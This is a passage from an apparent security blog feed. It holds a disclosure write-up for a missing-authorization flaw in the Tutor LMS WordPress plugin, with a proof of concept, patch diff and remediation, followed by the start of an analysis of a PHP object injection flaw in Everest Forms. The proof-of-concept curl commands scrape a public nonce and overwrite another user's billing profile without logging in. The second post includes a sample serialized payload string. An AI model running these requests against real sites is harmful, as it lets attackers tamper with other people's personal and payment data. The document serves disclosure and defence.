&lt;p&gt;The Tutor nonce is injected into the JavaScript data object on &lt;strong&gt;every page load&lt;/strong&gt;, visible to any visitor without authentication:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// classes/Assets.php:165-166
&apos;nonce_key&apos;  =&amp;gt; tutor()-&amp;gt;nonce,           // = &apos;_tutor_nonce&apos;
tutor()-&amp;gt;nonce =&amp;gt; wp_create_nonce( tutor()-&amp;gt;nonce_action ),  // action: &apos;tutor_nonce_action&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The nonce values are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nonce field name&lt;/strong&gt;: &lt;code&gt;_tutor_nonce&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nonce action&lt;/strong&gt;: &lt;code&gt;tutor_nonce_action&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Additionally, &lt;code&gt;tutor_nonce_field()&lt;/code&gt; renders a hidden input in multiple public-facing templates:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;templates/single/course/course-entry-box.php&lt;/code&gt; (any public course page)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;templates/ecommerce/checkout.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;templates/single/quiz/body.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;templates/single/lesson/complete_form.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Any anonymous visitor can load a course, lesson, or quiz page and extract a valid nonce from the HTML source.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;pay_incomplete_order()&lt;/code&gt; function performs two operations driven by a user-controlled &lt;code&gt;order_id&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It resolves the order owner (&lt;code&gt;$order_data-&amp;gt;user_id&lt;/code&gt;) from the database using the attacker-supplied ID.&lt;/li&gt;
&lt;li&gt;It writes attacker-supplied billing fields directly to that owner&apos;s profile.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There is no check that the requester is authenticated, and no check that the requester owns the order. The nonce check is present but provides no authentication protection because the nonce is a publicly readable, site-wide value embedded in every page.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Control&lt;/th&gt;
&lt;th&gt;Why it failed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nonce check&lt;/strong&gt; (&lt;code&gt;is_nonce_verified()&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;The nonce is generated via &lt;code&gt;wp_create_nonce(&apos;tutor_nonce_action&apos;)&lt;/code&gt; and embedded in the &lt;code&gt;_tutorobject&lt;/code&gt; JS object and in public HTML templates on every page load. Any unauthenticated visitor can read a valid nonce from any course, lesson, or quiz page. The check prevents simple CSRF but provides zero authentication.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;No &lt;code&gt;is_user_logged_in()&lt;/code&gt; guard&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The function never checks whether a session exists before processing the order write.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;No ownership check&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Even if authenticated, there is no &lt;code&gt;get_current_user_id() === $order_data-&amp;gt;user_id&lt;/code&gt; verification before writing billing data.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated remote attacker can:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Overwrite the billing profile&lt;/strong&gt; (all nine fields: name, email, phone, address, country, state, city, zip) of any WordPress user who holds an incomplete manual payment order.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disrupt payments and identity data&lt;/strong&gt; for targeted users without needing any credentials.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enumerate order IDs&lt;/strong&gt; — typically sequential integers — to target arbitrary users on the platform at scale.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;tutor&lt;/code&gt; plugin installed and activated.&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 3.9.7.&lt;/li&gt;
&lt;li&gt;At least one user (victim) has an &lt;strong&gt;incomplete manual payment order&lt;/strong&gt; (payment method &lt;code&gt;manual&lt;/code&gt;, order in incomplete state).&lt;/li&gt;
&lt;li&gt;The attacker knows or can guess the victim&apos;s &lt;code&gt;order_id&lt;/code&gt; (typically a sequential integer).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 1: Retrieve a Valid Tutor Nonce from Any Public Page&lt;/h3&gt;
&lt;p&gt;Browse any public Tutor course, lesson, or quiz page without logging in. The nonce is embedded in the &lt;code&gt;_tutorobject&lt;/code&gt; JavaScript object:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;https://TARGET_SITE/courses/sample-course/&quot; \
  | grep -o &apos;&quot;_tutor_nonce&quot;:&quot;[^&quot;]*&quot;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;_tutor_nonce&quot;:&quot;a1b2c3d4e5&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save this value as &lt;code&gt;NONCE&lt;/code&gt;. Alternatively, extract it from a hidden form input:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;https://TARGET_SITE/courses/sample-course/&quot; \
  | grep -o &apos;name=&quot;_tutor_nonce&quot; value=&quot;[^&quot;]*&quot;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 2: Enumerate a Target Order ID&lt;/h3&gt;
&lt;p&gt;Order IDs are typically sequential integers starting from 1. A response that redirects toward a payment page confirms a valid order. Requests that return &quot;Order not found&quot; can be skipped. The function only writes billing data when the matched order uses &lt;code&gt;payment_method = &apos;manual&apos;&lt;/code&gt;; a few iterations will usually find a qualifying incomplete order on active installations.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 3: Send the Crafted POST Request&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;https://TARGET_SITE/&quot; \
  -d &quot;tutor_action=tutor_pay_incomplete_order&quot; \
  -d &quot;order_id=VICTIM_ORDER_ID&quot; \
  -d &quot;payment_method=manual&quot; \
  -d &quot;_tutor_nonce=NONCE&quot; \
  -d &quot;billing_first_name=Attacker&quot; \
  -d &quot;billing_last_name=Controlled&quot; \
  -d &quot;billing_email=attacker@evil.com&quot; \
  -d &quot;billing_phone=0000000000&quot; \
  -d &quot;billing_address=1 Hacked Street&quot; \
  -d &quot;billing_city=HackerCity&quot; \
  -d &quot;billing_state=HackerState&quot; \
  -d &quot;billing_country=HackerCountry&quot; \
  -d &quot;billing_zip_code=00000&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;TARGET_SITE&lt;/code&gt; with the WordPress site URL&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VICTIM_ORDER_ID&lt;/code&gt; with the enumerated order ID&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NONCE&lt;/code&gt; with the value collected in Step 1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No login cookie is required. The server processes the request, writes the attacker-supplied billing data to &lt;code&gt;wp_tutor_customers&lt;/code&gt; for the order owner&apos;s &lt;code&gt;user_id&lt;/code&gt;, and redirects to the payment flow.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The victim user&apos;s billing profile in &lt;code&gt;wp_tutor_customers&lt;/code&gt; is fully overwritten with the attacker-supplied values. Any subsequent checkout or invoice generation will use the tampered billing data.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Log in as a site administrator and navigate to the victim user&apos;s billing information in the Tutor LMS order management or customer profile. All nine billing fields will reflect the attacker-supplied values.&lt;/p&gt;
&lt;p&gt;Alternatively, query the database directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM wp_tutor_customers WHERE user_id = VICTIM_USER_ID;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;billing_first_name&lt;/code&gt;, &lt;code&gt;billing_email&lt;/code&gt;, and other columns will contain the attacker&apos;s data.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;Only one PHP source file is directly relevant to this fix:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ecommerce/CheckoutController.php&lt;/code&gt;&lt;/strong&gt; — two security guards added to &lt;code&gt;pay_incomplete_order()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Asset and vendor files were updated as part of the release but contain no security-relevant changes.&lt;/p&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch introduces two independent guards at the top of &lt;code&gt;pay_incomplete_order()&lt;/code&gt; &lt;strong&gt;before&lt;/strong&gt; any user input is processed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Authentication check&lt;/strong&gt;: &lt;code&gt;is_user_logged_in()&lt;/code&gt; — the function immediately redirects unauthenticated requests before reading any POST data, blocking the entire attack surface for anonymous callers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ownership check&lt;/strong&gt;: The condition &lt;code&gt;if ( $order_data )&lt;/code&gt; is strengthened to &lt;code&gt;if ( $order_data &amp;amp;&amp;amp; get_current_user_id() === (int) $order_data-&amp;gt;user_id )&lt;/code&gt; — even an authenticated user cannot modify billing data for an order they do not own.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Together these patches fix both the root cause (no authentication) and the secondary IDOR (no ownership verification). The nonce exposure on public pages was intentionally left unchanged — the nonce continues to be globally readable, which is acceptable now that authentication and ownership are the actual security controls.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Residual consideration&lt;/strong&gt;: Order IDs remain sequential and guessable, but an attacker must now be authenticated and own the order to trigger any billing write.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/ecommerce/CheckoutController.php (3.9.7)
+++ b/ecommerce/CheckoutController.php (3.9.8)
@@ -1057,6 +1057,12 @@ class CheckoutController {
  * @return void
  */
 public function pay_incomplete_order() {
+
+    // Authentication check.
+    if ( ! is_user_logged_in() ) {
+        tutor_redirect_after_payment( OrderModel::ORDER_PLACEMENT_FAILED, 0, __( &apos;Please log in first&apos;, &apos;tutor&apos; ) );
+    }
+
     $order_id       = Input::post( &apos;order_id&apos;, 0, Input::TYPE_INT );
     $payment_method = Input::post( &apos;payment_method&apos;, &apos;&apos; );
     $request        = Input::sanitize_array( $_POST );
@@ -1068,7 +1074,7 @@ class CheckoutController {
     if ( $order_id ) {
         $order_model = new OrderModel();
         $order_data  = $order_model-&amp;gt;get_order_by_id( $order_id );
-        if ( $order_data ) {
+        if ( $order_data &amp;amp;&amp;amp; get_current_user_id() === (int) $order_data-&amp;gt;user_id ) {
             try {
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by Supakiad S. (m3ez) — E-CQURITY (Thailand)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 9, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 9, 2026&lt;/td&gt;
&lt;td&gt;Patched version 3.9.8 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Update the &lt;code&gt;tutor&lt;/code&gt; plugin to version 3.9.8 or later immediately.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If an immediate update is not possible, consider these temporary mitigations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use a WAF rule to block unauthenticated POST requests to any WordPress URL with the parameter &lt;code&gt;tutor_action=tutor_pay_incomplete_order&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Disable manual payment orders until the plugin is updated.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tutor/tutor-lms-397-missing-authorization-to-unauthenticated-arbitrary-billing-profile-overwrite-via-order-id-parameter&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3360&quot;&gt;CVE-2026-3360 at CVE.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/tutor/tags/3.9.7/classes/Tutor.php#L563&quot;&gt;Vulnerable source — Tutor.php:563 (nonce dispatch)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/tutor/tags/3.9.7/ecommerce/CheckoutController.php#L108&quot;&gt;Vulnerable source — CheckoutController.php:108 (hook registration)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/tutor/tags/3.9.7/ecommerce/CheckoutController.php#L1059&quot;&gt;Vulnerable source — CheckoutController.php:1059 (pay_incomplete_order)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/tutor/trunk/ecommerce/CheckoutController.php#L1059&quot;&gt;Patched source — CheckoutController.php:1059 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3496394/tutor/trunk/ecommerce/CheckoutController.php&quot;&gt;Patch changeset on Trac&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.linkedin.com/in/supakiad-satuwan/&quot;&gt;Researcher profile — Supakiad S.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/tutor/&quot;&gt;Tutor LMS on WordPress.org&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-10T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-3296: PHP Object Injection in Everest Forms (CVSS 9.8)</title><link>https://hurayraiit.com/blog/cve-2026-3296-everest-forms-unauthenticated-php-object-injection/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-3296-everest-forms-unauthenticated-php-object-injection/</guid><description>CVE-2026-3296 is a CVSS 9.8 critical unauthenticated PHP Object Injection in the Everest Forms WordPress plugin — full technical breakdown, PoC, patch analysis, and remediation.</description><pubDate>Thu, 09 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-3296&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; unauthenticated PHP Object Injection vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/everest-forms/&quot;&gt;Everest Forms&lt;/a&gt; WordPress plugin, affecting all versions up to and including &lt;strong&gt;3.4.3&lt;/strong&gt;. It allows any unauthenticated attacker to inject a PHP serialized object payload through any public form field. When an administrator views form entries in the admin panel, the unsafe &lt;code&gt;unserialize()&lt;/code&gt; call fires — triggering any available POP gadget chain in the environment, with potential for Remote Code Execution.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Everest Forms – Contact Form, Payment Form, Quiz, Survey &amp;amp; Custom Form Builder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;everest-forms&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3296&quot;&gt;CVE-2026-3296&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated PHP Object Injection via Form Entry Metadata (Deserialization of Untrusted Data)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/everest-forms.3.4.3.zip&quot;&gt;&amp;lt;= 3.4.3&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/everest-forms.3.4.4.zip&quot;&gt;3.4.4&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 7, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/karuppiah-sabari-kumar&quot;&gt;0xsabre - Mobikwik&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/everest-forms/everest-forms-343-unauthenticated-php-object-injection-via-form-entry-metadata&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Everest Forms plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.4.3 via deserialization of untrusted input from form entry metadata. This is due to the &lt;code&gt;html-admin-page-entries-view.php&lt;/code&gt; file calling PHP&apos;s native &lt;code&gt;unserialize()&lt;/code&gt; on stored entry meta values without passing the &lt;code&gt;allowed_classes&lt;/code&gt; parameter. This makes it possible for unauthenticated attackers to inject a serialized PHP object payload through any public Everest Forms form field. The payload survives &lt;code&gt;sanitize_text_field()&lt;/code&gt; sanitization (serialization control characters are not stripped) and is stored in the &lt;code&gt;wp_evf_entrymeta&lt;/code&gt; database table. When an administrator views entries or views an individual entry, the unsafe &lt;code&gt;unserialize()&lt;/code&gt; call processes the stored data without class restrictions.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;p&gt;The vulnerability is a classic stored PHP Object Injection that follows a two-phase pattern: an &lt;strong&gt;injection phase&lt;/strong&gt; (unauthenticated form submission) and a &lt;strong&gt;trigger phase&lt;/strong&gt; (admin views form entries).&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Phase 1 — Injection: Storing the Payload (Unauthenticated)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;includes/class-evf-form-task.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The form submission listener is hooked to the &lt;code&gt;wp&lt;/code&gt; action (line 75), making it fire on every front-end page load where &lt;code&gt;$_POST[&apos;everest_forms&apos;]&lt;/code&gt; is populated:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// class-evf-form-task.php, line 75
add_action( &apos;wp&apos;, array( $this, &apos;listen_task&apos; ) );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The submission handler (line 97) reads user POST data and passes it through &lt;code&gt;evf_sanitize_entry()&lt;/code&gt; before processing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// class-evf-form-task.php, line 109
$this-&amp;gt;do_task( evf_sanitize_entry( wp_unslash( $_POST[&apos;everest_forms&apos;] ) ) );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Key point — &lt;code&gt;evf_sanitize_entry()&lt;/code&gt; does not strip serialization characters:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;evf_sanitize_entry()&lt;/code&gt; in &lt;code&gt;includes/evf-core-functions.php&lt;/code&gt; (line 4707) applies &lt;code&gt;sanitize_text_field()&lt;/code&gt; to the default field type case:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// evf-core-functions.php, line 4754–4761
default:
    if (is_array($entry[&apos;form_fields&apos;][$key])) {
        foreach ($entry[&apos;form_fields&apos;][$key] as $field_key =&amp;gt; $value) {
            $entry[&apos;form_fields&apos;][$key][$field_key] = sanitize_text_field($value);
        }
    } else {
        $entry[&apos;form_fields&apos;][$key] = sanitize_text_field($entry[&apos;form_fields&apos;][$key]);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt; strips HTML tags, null bytes, and some whitespace — but it does &lt;strong&gt;not&lt;/strong&gt; strip PHP serialization characters (&lt;code&gt;O:&lt;/code&gt;, &lt;code&gt;s:&lt;/code&gt;, &lt;code&gt;i:&lt;/code&gt;, &lt;code&gt;{&lt;/code&gt;, &lt;code&gt;}&lt;/code&gt;, &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;&quot;&lt;/code&gt;). A serialized object string like &lt;code&gt;O:8:&quot;EvilClass&quot;:1:{s:5:&quot;field&quot;;s:5:&quot;value&quot;;}&lt;/code&gt; passes through completely intact.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Additional bug:&lt;/strong&gt; The &lt;code&gt;return $entry&lt;/code&gt; statement at line 4764 is placed inside the &lt;code&gt;foreach&lt;/code&gt; loop body, causing the function to exit after processing only the first form field — meaning most fields receive no sanitization at all.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;After sanitization, the abstract field class &lt;code&gt;format()&lt;/code&gt; method (called via the &lt;code&gt;everest_forms_process_format_{type}&lt;/code&gt; action) applies &lt;code&gt;evf_sanitize_textarea_field()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// includes/abstracts/class-evf-form-fields.php, line 2925
$value = evf_sanitize_textarea_field( $field_submit );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;evf_sanitize_textarea_field()&lt;/code&gt; wraps &lt;code&gt;sanitize_textarea_field()&lt;/code&gt;, which similarly does not remove PHP serialization characters.&lt;/p&gt;
&lt;p&gt;The field value (containing the injected serialized object) is then stored in the database:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// class-evf-form-task.php, line 1326–1333
$entry_metadata = array(
    &apos;entry_id&apos;   =&amp;gt; $entry_id,
    &apos;meta_key&apos;   =&amp;gt; sanitize_key( $field[&apos;meta_key&apos;] ),
    &apos;meta_value&apos; =&amp;gt; maybe_serialize( $field[&apos;value&apos;] ),
);
$wpdb-&amp;gt;insert( $wpdb-&amp;gt;prefix . &apos;evf_entrymeta&apos;, $entry_metadata );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;maybe_serialize()&lt;/code&gt; on a plain string returns it unchanged — the raw serialized object string is written verbatim into &lt;code&gt;wp_evf_entrymeta.meta_value&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Phase 2 — Trigger: Deserializing on Admin Entry View&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;includes/admin/views/html-admin-page-entries-view.php&lt;/code&gt;, &lt;strong&gt;line 132–133&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When an administrator navigates to &lt;code&gt;wp-admin/admin.php?page=evf-entries&amp;amp;form_id=X&amp;amp;view-entry=Y&lt;/code&gt;, the template iterates over entry metadata and detects serialized values:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// html-admin-page-entries-view.php, line 130–133
$meta_value = is_serialized( $meta_value ) ? $meta_value : wp_strip_all_tags( $meta_value );

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;This is the vulnerable call.&lt;/strong&gt; &lt;code&gt;unserialize()&lt;/code&gt; is called without the &lt;code&gt;allowed_classes&lt;/code&gt; parameter. PHP defaults to allowing all classes to be instantiated during deserialization. If the WordPress environment contains a class with a magic method (&lt;code&gt;__wakeup&lt;/code&gt;, &lt;code&gt;__destruct&lt;/code&gt;, &lt;code&gt;__toString&lt;/code&gt;, &lt;code&gt;__get&lt;/code&gt;, etc.) that performs a dangerous operation, it will be invoked automatically when the administrator views the entry.&lt;/p&gt;
&lt;p&gt;A safe wrapper, &lt;code&gt;evf_maybe_unserialize()&lt;/code&gt;, already existed in the codebase at &lt;code&gt;includes/evf-core-functions.php&lt;/code&gt; (line 5594):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function evf_maybe_unserialize($data, $options = array())
{
    if (is_serialized($data)) {
        if (version_compare(PHP_VERSION, &apos;7.1.0&apos;, &apos;&amp;gt;=&apos;)) {
            $options = wp_parse_args($options, array(&apos;allowed_classes&apos; =&amp;gt; false));
            return @unserialize(trim($data), $options);  // safe: no class instantiation
        }
        return null;
    }
    return $data;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This safe function was simply not used in the entries view template.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The root cause is the use of PHP&apos;s native &lt;code&gt;unserialize()&lt;/code&gt; without &lt;code&gt;[&apos;allowed_classes&apos; =&amp;gt; false]&lt;/code&gt; at &lt;code&gt;html-admin-page-entries-view.php:133&lt;/code&gt;. The plugin developers had already written a safe wrapper (&lt;code&gt;evf_maybe_unserialize()&lt;/code&gt;) that passes &lt;code&gt;allowed_classes =&amp;gt; false&lt;/code&gt; — but used raw &lt;code&gt;unserialize()&lt;/code&gt; in the entries view template, bypassing that protection entirely.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Control&lt;/th&gt;
&lt;th&gt;Why It Failed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt;&lt;/td&gt;
